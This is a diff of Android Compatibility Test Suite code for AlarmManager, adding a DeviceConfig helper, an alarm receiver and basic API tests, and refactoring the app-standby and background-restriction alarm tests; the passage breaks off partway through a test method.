+    private static final long UPDATE_TIMEOUT = 30_000;
+
+    private volatile Map<String, String> mCommittedMap = Collections.emptyMap();
+    private final Map<String, String> mPropertyMap = new HashMap<>();
+
+    AlarmManagerDeviceConfigHelper with(String key, long value) {
+        mPropertyMap.put(key, Long.toString(value));
+        return this;
+    }
+
+    AlarmManagerDeviceConfigHelper with(String key, int value) {
+        mPropertyMap.put(key, Integer.toString(value));
+        return this;
+    }
+
+    AlarmManagerDeviceConfigHelper with(String key, boolean value) {
+        mPropertyMap.put(key, Boolean.toString(value));
+        return this;
+    }
+
+    AlarmManagerDeviceConfigHelper with(String key, String value) {
+        mPropertyMap.put(key, value);
+        return this;
+    }
+
+    AlarmManagerDeviceConfigHelper without(String key) {
+        mPropertyMap.remove(key);
+        return this;
+    }
+
+    private static int getCurrentConfigVersion() {
+        final String output = SystemUtil.runShellCommand("cmd alarm get-config-version").trim();
+        return Integer.parseInt(output);
+    }
+
+    private static void commitAndAwaitPropagation(DeviceConfig.Properties propertiesToSet) {
+        final int currentVersion = getCurrentConfigVersion();
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> assertTrue(DeviceConfig.setProperties(propertiesToSet)));
+        PollingCheck.waitFor(UPDATE_TIMEOUT, () -> (getCurrentConfigVersion() > currentVersion),
+                "Could not update config within " + UPDATE_TIMEOUT + "ms. Current version: "
+                        + currentVersion);
+    }
+
+    void commitAndAwaitPropagation() {
+        if (mPropertyMap.equals(mCommittedMap)) {
+            // This will not cause any change. We assume the initial set of properties is empty.
+            return;
+        }
+        commitAndAwaitPropagation(
+                new DeviceConfig.Properties(DeviceConfig.NAMESPACE_ALARM_MANAGER, mPropertyMap));
+        mCommittedMap = Collections.unmodifiableMap(new HashMap<>(mPropertyMap));
+    }
+
+    void deleteAll() {
+        if (mCommittedMap.isEmpty()) {
+            // If nothing got committed, then this is redundant.
+            return;
+        }
+        commitAndAwaitPropagation(EMPTY_PROPERTIES);
+        mCommittedMap = Collections.emptyMap();
+    }
+}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AlarmReceiver.java b/tests/AlarmManager/src/android/alarmmanager/cts/AlarmReceiver.java
new file mode 100644
index 0000000..e3c6ee2
--- /dev/null
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AlarmReceiver.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.SystemClock;
+import android.util.Log;
+import android.util.LongArray;
+
+import androidx.annotation.GuardedBy;
+
+import java.util.Arrays;
+
+public class AlarmReceiver extends BroadcastReceiver {
+    private static final String TAG = AlarmReceiver.class.getSimpleName();
+    public static final String ALARM_ACTION = "android.alarmmanager.cts.ALARM";
+    public static final String EXTRA_ALARM_ID = "android.alarmmanager.cts.extra.ALARM_ID";
+    public static final String EXTRA_QUOTAED = "android.alarmmanager.cts.extra.QUOTAED";
+
+    static Object sWaitLock = new Object();
+
+    @GuardedBy("sWaitLock")
+    private static int sLastAlarmId;
+    /** Process global history of all alarms received -- useful in quota calculations */
+    private static LongArray sHistory = new LongArray();
+
+    static synchronized long getNthLastAlarmTime(int n) {
+        if (n <= 0 || n > sHistory.size()) {
+            return 0;
+        }
+        return sHistory.get(sHistory.size() - n);
+    }
+
+    private static synchronized void recordAlarmTime(long timeOfReceipt) {
+        if (sHistory.size() == 0 || sHistory.get(sHistory.size() - 1) < timeOfReceipt) {
+            sHistory.add(timeOfReceipt);
+        }
+    }
+
+    static boolean waitForAlarm(int alarmId, long timeOut) throws InterruptedException {
+        final long deadline = SystemClock.elapsedRealtime() + timeOut;
+        synchronized (sWaitLock) {
+            while (sLastAlarmId != alarmId && SystemClock.elapsedRealtime() < deadline) {
+                sWaitLock.wait(timeOut);
+            }
+            return sLastAlarmId == alarmId;
+        }
+    }
+
+    /**
+     * Used to dump debugging information when the test fails.
+     */
+    static void dumpState() {
+        synchronized (sWaitLock) {
+            Log.i(TAG, "Last id: " + sLastAlarmId);
+        }
+        synchronized (AlarmReceiver.class) {
+            if (sHistory.size() > 0) {
+                Log.i(TAG, "History of quotaed alarms: " + Arrays.toString(sHistory.toArray()));
+            }
+        }
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (ALARM_ACTION.equals(intent.getAction())) {
+            final int id = intent.getIntExtra(EXTRA_ALARM_ID, -1);
+            final boolean quotaed = intent.getBooleanExtra(EXTRA_QUOTAED, false);
+            if (quotaed) {
+                recordAlarmTime(SystemClock.elapsedRealtime());
+            }
+            synchronized (sWaitLock) {
+                sLastAlarmId = id;
+                sWaitLock.notifyAll();
+            }
+        }
+    }
+}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index 83db3f9..07c93c8 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -24,7 +24,7 @@
 
 import android.alarmmanager.alarmtestapp.cts.TestAlarmReceiver;
 import android.alarmmanager.alarmtestapp.cts.TestAlarmScheduler;
-import android.app.AlarmManager;
+import android.app.Activity;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -51,7 +51,10 @@
 import org.junit.runner.RunWith;
 
 import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicInteger;
+import java.util.function.BooleanSupplier;
 
 /**
  * Tests that app standby imposes the appropriate restrictions on alarms
@@ -61,14 +64,13 @@
 @RunWith(AndroidJUnit4.class)
 public class AppStandbyTests {
     private static final String TAG = AppStandbyTests.class.getSimpleName();
-    private static final String TEST_APP_PACKAGE = "android.alarmmanager.alarmtestapp.cts";
+    static final String TEST_APP_PACKAGE = "android.alarmmanager.alarmtestapp.cts";
     private static final String TEST_APP_RECEIVER = TEST_APP_PACKAGE + ".TestAlarmScheduler";
 
     private static final long DEFAULT_WAIT = 2_000;
     private static final long POLL_INTERVAL = 200;
 
     // Tweaked alarm manager constants to facilitate testing
-    private static final long ALLOW_WHILE_IDLE_SHORT_TIME = 10_000;
     private static final long MIN_FUTURITY = 1_000;
 
     // Not touching ACTIVE and RARE parameters for this test
@@ -82,10 +84,11 @@
     };
 
     private static final long APP_STANDBY_WINDOW = 10_000;
+    private static final long MIN_WINDOW = 100;
     private static final String[] APP_BUCKET_QUOTA_KEYS = {
-            "standby_working_quota",
-            "standby_frequent_quota",
-            "standby_rare_quota",
+            "standby_quota_working",
+            "standby_quota_frequent",
+            "standby_quota_rare",
     };
     private static final int[] APP_STANDBY_QUOTAS = {
             5,  // Working set
@@ -93,35 +96,17 @@
             1,  // Rare
     };
 
-    // Settings common for all tests
-    private static final String COMMON_SETTINGS;
-
-    static {
-        final StringBuilder settings = new StringBuilder();
-        settings.append("min_futurity=");
-        settings.append(MIN_FUTURITY);
-        settings.append(",allow_while_idle_short_time=");
-        settings.append(ALLOW_WHILE_IDLE_SHORT_TIME);
-        settings.append(",app_standby_window=");
-        settings.append(APP_STANDBY_WINDOW);
-        for (int i = 0; i < APP_STANDBY_QUOTAS.length; i++) {
-            settings.append(",");
-            settings.append(APP_BUCKET_QUOTA_KEYS[i]);
-            settings.append("=");
-            settings.append(APP_STANDBY_QUOTAS[i]);
-        }
-        COMMON_SETTINGS = settings.toString();
-    }
-
     // Save the state before running tests to restore it after we finish testing.
     private static boolean sOrigAppStandbyEnabled;
     // Test app's alarm history to help predict when a subsequent alarm is going to get deferred.
     private static TestAlarmHistory sAlarmHistory;
+    private static Context sContext = InstrumentationRegistry.getTargetContext();
+    private static UiDevice sUiDevice = UiDevice.getInstance(
+            InstrumentationRegistry.getInstrumentation());
 
-    private Context mContext;
     private ComponentName mAlarmScheduler;
-    private UiDevice mUiDevice;
     private AtomicInteger mAlarmCount;
+    private AlarmManagerDeviceConfigHelper mConfigHelper = new AlarmManagerDeviceConfigHelper();
 
     private final BroadcastReceiver mAlarmStateReceiver = new BroadcastReceiver() {
         @Override
@@ -147,40 +132,37 @@
 
     @Before
     public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         mAlarmScheduler = new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER);
         mAlarmCount = new AtomicInteger(0);
         updateAlarmManagerConstants();
+        updateBackgroundSettleTime();
         setBatteryCharging(false);
         final IntentFilter intentFilter = new IntentFilter();
         intentFilter.addAction(TestAlarmReceiver.ACTION_REPORT_ALARM_EXPIRED);
-        mContext.registerReceiver(mAlarmStateReceiver, intentFilter);
+        sContext.registerReceiver(mAlarmStateReceiver, intentFilter);
         assumeTrue("App Standby not enabled on device", AppStandbyUtils.isAppStandbyEnabled());
     }
 
-    private void scheduleAlarm(long triggerMillis, boolean allowWhileIdle, long interval) {
+    private void scheduleAlarm(long triggerMillis, long interval) throws InterruptedException {
         final Intent setAlarmIntent = new Intent(TestAlarmScheduler.ACTION_SET_ALARM);
         setAlarmIntent.setComponent(mAlarmScheduler);
         setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_TYPE, ELAPSED_REALTIME_WAKEUP);
         setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_TRIGGER_TIME, triggerMillis);
+        setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_WINDOW_LENGTH, MIN_WINDOW);
         setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_REPEAT_INTERVAL, interval);
-        setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_ALLOW_WHILE_IDLE, allowWhileIdle);
         setAlarmIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
-        mContext.sendBroadcast(setAlarmIntent);
-    }
-
-    private void scheduleAlarmClock(long triggerRTC) {
-        AlarmManager.AlarmClockInfo alarmInfo = new AlarmManager.AlarmClockInfo(triggerRTC, null);
-
-        final Intent setAlarmClockIntent = new Intent(TestAlarmScheduler.ACTION_SET_ALARM_CLOCK);
-        setAlarmClockIntent.setComponent(mAlarmScheduler);
-        setAlarmClockIntent.putExtra(TestAlarmScheduler.EXTRA_ALARM_CLOCK_INFO, alarmInfo);
-        mContext.sendBroadcast(setAlarmClockIntent);
+        final CountDownLatch resultLatch = new CountDownLatch(1);
+        sContext.sendOrderedBroadcast(setAlarmIntent, null, new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                resultLatch.countDown();
+            }
+        }, null, Activity.RESULT_CANCELED, null, null);
+        assertTrue("Request did not complete", resultLatch.await(10, TimeUnit.SECONDS));
     }
 
     public void testSimpleQuotaDeferral(int bucketIndex) throws Exception {
-        setAppStandbyBucket(APP_BUCKET_TAGS[bucketIndex]);
+        setTestAppStandbyBucket(APP_BUCKET_TAGS[bucketIndex]);
         final int quota = APP_STANDBY_QUOTAS[bucketIndex];
 
         long startElapsed = SystemClock.elapsedRealtime();
@@ -196,13 +178,13 @@
                 firstTrigger + ((quota - 1) * MIN_FUTURITY) < desiredTrigger);
         for (int i = 0; i < quota; i++) {
             final long trigger = firstTrigger + (i * MIN_FUTURITY);
-            scheduleAlarm(trigger, false, 0);
+            scheduleAlarm(trigger, 0);
             Thread.sleep(trigger - SystemClock.elapsedRealtime());
             assertTrue("Alarm within quota not firing as expected", waitForAlarm());
         }
 
         // Now quota is reached, any subsequent alarm should get deferred.
-        scheduleAlarm(desiredTrigger, false, 0);
+        scheduleAlarm(desiredTrigger, 0);
         Thread.sleep(desiredTrigger - SystemClock.elapsedRealtime());
         assertFalse("Alarm exceeding quota not deferred", waitForAlarm());
         final long minTrigger = firstTrigger + APP_STANDBY_WINDOW;
@@ -212,10 +194,10 @@
 
     @Test
     public void testActiveQuota() throws Exception {
-        setAppStandbyBucket("active");
+        setTestAppStandbyBucket("active");
         long nextTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
         for (int i = 0; i < 3; i++) {
-            scheduleAlarm(nextTrigger, false, 0);
+            scheduleAlarm(nextTrigger, 0);
             Thread.sleep(MIN_FUTURITY);
             assertTrue("Alarm not received as expected when app is in active", waitForAlarm());
             nextTrigger += MIN_FUTURITY;
@@ -239,60 +221,19 @@
 
     @Test
     public void testNeverQuota() throws Exception {
-        setAppStandbyBucket("never");
+        setTestAppStandbyBucket("never");
         final long expectedTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        scheduleAlarm(expectedTrigger, true, 0);
+        scheduleAlarm(expectedTrigger, 0);
         Thread.sleep(10_000);
         assertFalse("Alarm received when app was in never bucket", waitForAlarm());
     }
 
     @Test
-    public void testAlarmClockUnaffected() throws Exception {
-        setAppStandbyBucket("never");
-        final long trigger = System.currentTimeMillis() + MIN_FUTURITY;
-        scheduleAlarmClock(trigger);
-        Thread.sleep(MIN_FUTURITY);
-        assertTrue("Alarm clock not received as expected", waitForAlarm());
-    }
-
-    @Test
-    public void testAllowWhileIdleAlarms() throws Exception {
-        updateAlarmManagerConstants();
-        setAppStandbyBucket("active");
-        final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        scheduleAlarm(firstTrigger, true, 0);
-        Thread.sleep(MIN_FUTURITY);
-        assertTrue("first allow_while_idle alarm did not go off as scheduled", waitForAlarm());
-        long lastTriggerTime = sAlarmHistory.getLast(1);
-        scheduleAlarm(lastTriggerTime + ALLOW_WHILE_IDLE_SHORT_TIME / 3, true, 0);
-        // First check for the case where allow_while_idle delay should supersede app standby
-        setAppStandbyBucket(APP_BUCKET_TAGS[WORKING_INDEX]);
-        Thread.sleep(ALLOW_WHILE_IDLE_SHORT_TIME / 2);
-        assertFalse("allow_while_idle alarm went off before short time", waitForAlarm());
-        long expectedTriggerTime = lastTriggerTime + ALLOW_WHILE_IDLE_SHORT_TIME;
-        Thread.sleep(expectedTriggerTime - SystemClock.elapsedRealtime());
-        assertTrue("allow_while_idle alarm did not go off after short time", waitForAlarm());
-
-        // Now the other case, app standby delay supersedes the allow_while_idle delay
-        lastTriggerTime = sAlarmHistory.getLast(1);
-        scheduleAlarm(lastTriggerTime + APP_STANDBY_WINDOW / 10, true, 0);
-        setAppStandbyBucket(APP_BUCKET_TAGS[RARE_INDEX]);
-        Thread.sleep(APP_STANDBY_WINDOW / 20);
-        assertFalse("allow_while_idle alarm went off before " + APP_STANDBY_WINDOW
-                + "ms, when in bucket " + APP_BUCKET_TAGS[RARE_INDEX], waitForAlarm());
-        expectedTriggerTime = lastTriggerTime + APP_STANDBY_WINDOW;
-        Thread.sleep(expectedTriggerTime - SystemClock.elapsedRealtime());
-        assertTrue("allow_while_idle alarm did not go off even after "
-                + APP_STANDBY_WINDOW
-                + "ms, when in bucket " + APP_BUCKET_TAGS[RARE_INDEX], waitForAlarm());
-    }
-
-    @Test
     public void testPowerWhitelistedAlarmNotBlocked() throws Exception {
-        setAppStandbyBucket(APP_BUCKET_TAGS[RARE_INDEX]);
+        setTestAppStandbyBucket(APP_BUCKET_TAGS[RARE_INDEX]);
         setPowerWhitelisted(true);
         final long triggerTime = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        scheduleAlarm(triggerTime, false, 0);
+        scheduleAlarm(triggerTime, 0);
         Thread.sleep(MIN_FUTURITY);
         assertTrue("Alarm did not go off for whitelisted app in rare bucket", waitForAlarm());
         setPowerWhitelisted(false);
@@ -302,11 +243,12 @@
     public void tearDown() throws Exception {
         setPowerWhitelisted(false);
         setBatteryCharging(true);
-        deleteAlarmManagerConstants();
+        resetBackgroundSettleTime();
+        mConfigHelper.deleteAll();
         final Intent cancelAlarmsIntent = new Intent(TestAlarmScheduler.ACTION_CANCEL_ALL_ALARMS);
         cancelAlarmsIntent.setComponent(mAlarmScheduler);
-        mContext.sendBroadcast(cancelAlarmsIntent);
-        mContext.unregisterReceiver(mAlarmStateReceiver);
+        sContext.sendBroadcast(cancelAlarmsIntent);
+        sContext.unregisterReceiver(mAlarmStateReceiver);
         // Broadcast unregister may race with the next register in setUp
         Thread.sleep(500);
     }
@@ -318,10 +260,24 @@
         }
     }
 
-    private void updateAlarmManagerConstants() throws IOException {
-        final StringBuffer cmd = new StringBuffer("settings put global alarm_manager_constants ");
-        cmd.append(COMMON_SETTINGS);
-        executeAndLog(cmd.toString());
+    private void updateAlarmManagerConstants() {
+        mConfigHelper.with("min_futurity", MIN_FUTURITY)
+                .with("app_standby_window", APP_STANDBY_WINDOW)
+                .with("min_window", MIN_WINDOW)
+                .with("exact_alarm_deny_list", TEST_APP_PACKAGE);
+        for (int i = 0; i < APP_STANDBY_QUOTAS.length; i++) {
+            mConfigHelper.with(APP_BUCKET_QUOTA_KEYS[i], APP_STANDBY_QUOTAS[i]);
+        }
+        mConfigHelper.commitAndAwaitPropagation();
+    }
+
+    private void updateBackgroundSettleTime() throws IOException {
+        sUiDevice.executeShellCommand(
+                "settings put global activity_manager_constants background_settle_time=0");
+    }
+
+    private void resetBackgroundSettleTime() throws IOException {
+        sUiDevice.executeShellCommand("settings delete global activity_manager_constants");
     }
 
     private void setPowerWhitelisted(boolean whitelist) throws IOException {
@@ -331,16 +287,12 @@
         executeAndLog(cmd.toString());
     }
 
-    private void deleteAlarmManagerConstants() throws IOException {
-        executeAndLog("settings delete global alarm_manager_constants");
-    }
-
-    private void setAppStandbyBucket(String bucket) throws IOException {
+    static void setTestAppStandbyBucket(String bucket) throws IOException {
         executeAndLog("am set-standby-bucket " + TEST_APP_PACKAGE + " " + bucket);
     }
 
     private void setBatteryCharging(final boolean charging) throws Exception {
-        final BatteryManager bm = mContext.getSystemService(BatteryManager.class);
+        final BatteryManager bm = sContext.getSystemService(BatteryManager.class);
         if (charging) {
             executeAndLog("dumpsys battery reset");
         } else {
@@ -351,8 +303,8 @@
         }
     }
 
-    private String executeAndLog(String cmd) throws IOException {
-        final String output = mUiDevice.executeShellCommand(cmd).trim();
+    private static String executeAndLog(String cmd) throws IOException {
+        final String output = sUiDevice.executeShellCommand(cmd).trim();
         Log.d(TAG, "command: [" + cmd + "], output: [" + output + "]");
         return output;
     }
@@ -363,12 +315,12 @@
         return success;
     }
 
-    private boolean waitUntil(Condition condition, long timeout) throws InterruptedException {
+    private boolean waitUntil(BooleanSupplier condition, long timeout) throws InterruptedException {
         final long deadLine = SystemClock.uptimeMillis() + timeout;
-        while (!condition.isMet() && SystemClock.uptimeMillis() < deadLine) {
+        while (!condition.getAsBoolean() && SystemClock.uptimeMillis() < deadLine) {
             Thread.sleep(POLL_INTERVAL);
         }
-        return condition.isMet();
+        return condition.getAsBoolean();
     }
 
     private static final class TestAlarmHistory {
@@ -388,9 +340,4 @@
             return mHistory.get(mHistory.size() - x);
         }
     }
-
-    @FunctionalInterface
-    interface Condition {
-        boolean isMet();
-    }
 }
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
index 53937c5..23a1ede 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
@@ -62,20 +62,19 @@
     private static final long POLL_INTERVAL = 200;
     private static final long MIN_REPEATING_INTERVAL = 10_000;
 
-    private Object mLock = new Object();
     private Context mContext;
     private ComponentName mAlarmScheduler;
+    private AlarmManagerDeviceConfigHelper mConfigHelper = new AlarmManagerDeviceConfigHelper();
     private UiDevice mUiDevice;
-    private int mAlarmCount;
+    private volatile int mAlarmCount;
 
     private final BroadcastReceiver mAlarmStateReceiver = new BroadcastReceiver() {
         @Override
         public void onReceive(Context context, Intent intent) {
+            mAlarmCount = intent.getIntExtra(TestAlarmReceiver.EXTRA_ALARM_COUNT, 1);
             Log.d(TAG, "Received action " + intent.getAction()
                     + " elapsed: " + SystemClock.elapsedRealtime());
-            synchronized (mLock) {
-                mAlarmCount = intent.getIntExtra(TestAlarmReceiver.EXTRA_ALARM_COUNT, 1);
-            }
+
         }
     };
 
@@ -86,7 +85,9 @@
         mAlarmScheduler = new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER);
         mAlarmCount = 0;
         updateAlarmManagerConstants();
+        updateBackgroundSettleTime();
         setAppOpsMode(APP_OP_MODE_IGNORED);
+        makeUidIdle();
         final IntentFilter intentFilter = new IntentFilter();
         intentFilter.addAction(TestAlarmReceiver.ACTION_REPORT_ALARM_EXPIRED);
         mContext.registerReceiver(mAlarmStateReceiver, intentFilter);
@@ -150,6 +151,7 @@
     @After
     public void tearDown() throws Exception {
         deleteAlarmManagerConstants();
+        resetBackgroundSettleTime();
         setAppOpsMode(APP_OP_MODE_ALLOWED);
         // Cancel any leftover alarms
         final Intent cancelAlarmsIntent = new Intent(TestAlarmScheduler.ACTION_CANCEL_ALL_ALARMS);
@@ -160,14 +162,15 @@
         Thread.sleep(DEFAULT_WAIT);
     }
 
-    private void updateAlarmManagerConstants() throws IOException {
-        String cmd = "settings put global alarm_manager_constants min_futurity=0,min_interval="
-                + MIN_REPEATING_INTERVAL;
-        mUiDevice.executeShellCommand(cmd);
+    private void updateAlarmManagerConstants() {
+        mConfigHelper.with("min_futurity", 0L)
+                .with("min_interval", MIN_REPEATING_INTERVAL)
+                .with("min_window", 0)
+                .commitAndAwaitPropagation();
     }
 
-    private void deleteAlarmManagerConstants() throws IOException {
-        mUiDevice.executeShellCommand("settings delete global alarm_manager_constants");
+    private void deleteAlarmManagerConstants() {
+        mConfigHelper.deleteAll();
     }
 
     private void setAppStandbyBucket(String bucket) throws IOException {
@@ -184,14 +187,26 @@
         mUiDevice.executeShellCommand(commandBuilder.toString());
     }
 
+    private void updateBackgroundSettleTime() throws IOException {
+        mUiDevice.executeShellCommand(
+                "settings put global activity_manager_constants background_settle_time=0");
+    }
+
+    private void resetBackgroundSettleTime() throws IOException {
+        mUiDevice.executeShellCommand("settings delete global activity_manager_constants");
+    }
+
+    private void makeUidIdle() throws IOException {
+        mUiDevice.executeShellCommand("cmd devideidle tempwhitelist -r " + TEST_APP_PACKAGE);
+        mUiDevice.executeShellCommand("am make-uid-idle " + TEST_APP_PACKAGE);
+    }
+
     private boolean waitForAlarms(int expectedAlarms, long timeout) throws InterruptedException {
         final long deadLine = SystemClock.uptimeMillis() + timeout;
         int alarmCount;
         do {
             Thread.sleep(POLL_INTERVAL);
-            synchronized (mLock) {
-                alarmCount = mAlarmCount;
-            }
+            alarmCount = mAlarmCount;
         } while (alarmCount < expectedAlarms && SystemClock.uptimeMillis() < deadLine);
         return alarmCount >= expectedAlarms;
     }
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/BasicApiTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/BasicApiTests.java
new file mode 100644
index 0000000..d06224d
--- /dev/null
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/BasicApiTests.java
@@ -0,0 +1,468 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.AlarmManager;
+import android.app.AlarmManager.AlarmClockInfo;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Build;
+import android.os.PowerManager;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.annotation.GuardedBy;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * General API tests earlier present at CtsAppTestCases:AlarmManagerTest
+ */
+@LargeTest
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class BasicApiTests {
+    private static final String TAG = BasicApiTests.class.getSimpleName();
+    public static final String MOCKACTION = "android.app.AlarmManagerTest.TEST_ALARMRECEIVER";
+    public static final String MOCKACTION2 = "android.app.AlarmManagerTest.TEST_ALARMRECEIVER2";
+
+    private AlarmManager mAm;
+    private Intent mIntent;
+    private PendingIntent mSender;
+    private Intent mIntent2;
+    private PendingIntent mSender2;
+
+    /*
+     *  The default snooze delay: 5 seconds
+     */
+    private static final long SNOOZE_DELAY = 5_000L;
+    private long mWakeupTime;
+    private MockAlarmReceiver mMockAlarmReceiver;
+    private MockAlarmReceiver mMockAlarmReceiver2;
+
+    private static final int TIME_DELTA = 1000;
+    private static final int TIME_DELAY = 10_000;
+
+    private static final long TEST_ALARM_FUTURITY = 2_000L;
+    private static final long FAIL_DELTA = 50;
+    private static final long PRIORITY_ALARM_DELAY = 6_000;
+    private static final long REPEAT_PERIOD = 30_000;
+    private Context mContext = InstrumentationRegistry.getTargetContext();
+    private final AlarmManagerDeviceConfigHelper mDeviceConfigHelper =
+            new AlarmManagerDeviceConfigHelper();
+    private PowerManager mPowerManager = mContext.getSystemService(PowerManager.class);
+
+    @Rule
+    public DumpLoggerRule mFailLoggerRule = new DumpLoggerRule(TAG);
+
+    @Before
+    public void setUp() throws Exception {
+        mAm = (AlarmManager) mContext.getSystemService(Context.ALARM_SERVICE);
+
+        mIntent = new Intent(MOCKACTION)
+                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND | Intent.FLAG_RECEIVER_REGISTERED_ONLY);
+        mSender = PendingIntent.getBroadcast(mContext, 0, mIntent, PendingIntent.FLAG_IMMUTABLE);
+        mMockAlarmReceiver = new MockAlarmReceiver(mIntent.getAction());
+
+        mIntent2 = new Intent(MOCKACTION2)
+                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND | Intent.FLAG_RECEIVER_REGISTERED_ONLY);
+        mSender2 = PendingIntent.getBroadcast(mContext, 0, mIntent2, PendingIntent.FLAG_IMMUTABLE);
+        mMockAlarmReceiver2 = new MockAlarmReceiver(mIntent2.getAction());
+
+        IntentFilter filter = new IntentFilter(mIntent.getAction());
+        mContext.registerReceiver(mMockAlarmReceiver, filter);
+
+        IntentFilter filter2 = new IntentFilter(mIntent2.getAction());
+        mContext.registerReceiver(mMockAlarmReceiver2, filter2);
+
+        mDeviceConfigHelper.with("min_futurity", 0L)
+                .with("min_interval", REPEAT_PERIOD)
+                .with("min_window", 0L)
+                .with("priority_alarm_delay", PRIORITY_ALARM_DELAY)
+                .commitAndAwaitPropagation();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mDeviceConfigHelper.deleteAll();
+        mContext.unregisterReceiver(mMockAlarmReceiver);
+        mContext.unregisterReceiver(mMockAlarmReceiver2);
+        toggleIdleMode(false);
+    }
+
+    @Test
+    public void testSetTypes() {
+        // We cannot test non wakeup alarms reliably because they are held up until the
+        // device becomes interactive
+
+        // test parameter type is RTC_WAKEUP
+        mMockAlarmReceiver.reset();
+        mWakeupTime = System.currentTimeMillis() + SNOOZE_DELAY;
+        mAm.setExact(AlarmManager.RTC_WAKEUP, mWakeupTime, mSender);
+
+        new PollingCheck(SNOOZE_DELAY + TIME_DELAY) {
+            @Override
+            protected boolean check() {
+                return mMockAlarmReceiver.isAlarmed();
+            }
+        }.run();
+        assertEquals(mMockAlarmReceiver.getRtcTime(), mWakeupTime, TIME_DELTA);
+
+        // test parameter type is ELAPSED_REALTIME_WAKEUP
+        mMockAlarmReceiver.reset();
+        mWakeupTime = SystemClock.elapsedRealtime() + SNOOZE_DELAY;
+        mAm.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP, mWakeupTime, mSender);
+        new PollingCheck(SNOOZE_DELAY + TIME_DELAY) {
+            @Override
+            protected boolean check() {
+                return mMockAlarmReceiver.isAlarmed();
+            }
+        }.run();
+        assertEquals(mMockAlarmReceiver.getElapsedTime(), mWakeupTime, TIME_DELTA);
+    }
+
+    @Test
+    public void testAlarmTriggersImmediatelyIfSetTimeIsNegative() {
+        // An alarm with a negative wakeup time should be triggered immediately.
+        // This exercises a workaround for a limitation of the /dev/alarm driver
+        // that would instead cause such alarms to never be triggered.
+        mMockAlarmReceiver.reset();
+        mWakeupTime = -1000;
+        mAm.set(AlarmManager.RTC_WAKEUP, mWakeupTime, mSender);
+        new PollingCheck(TIME_DELAY) {
+            @Override
+            protected boolean check() {
+                return mMockAlarmReceiver.isAlarmed();
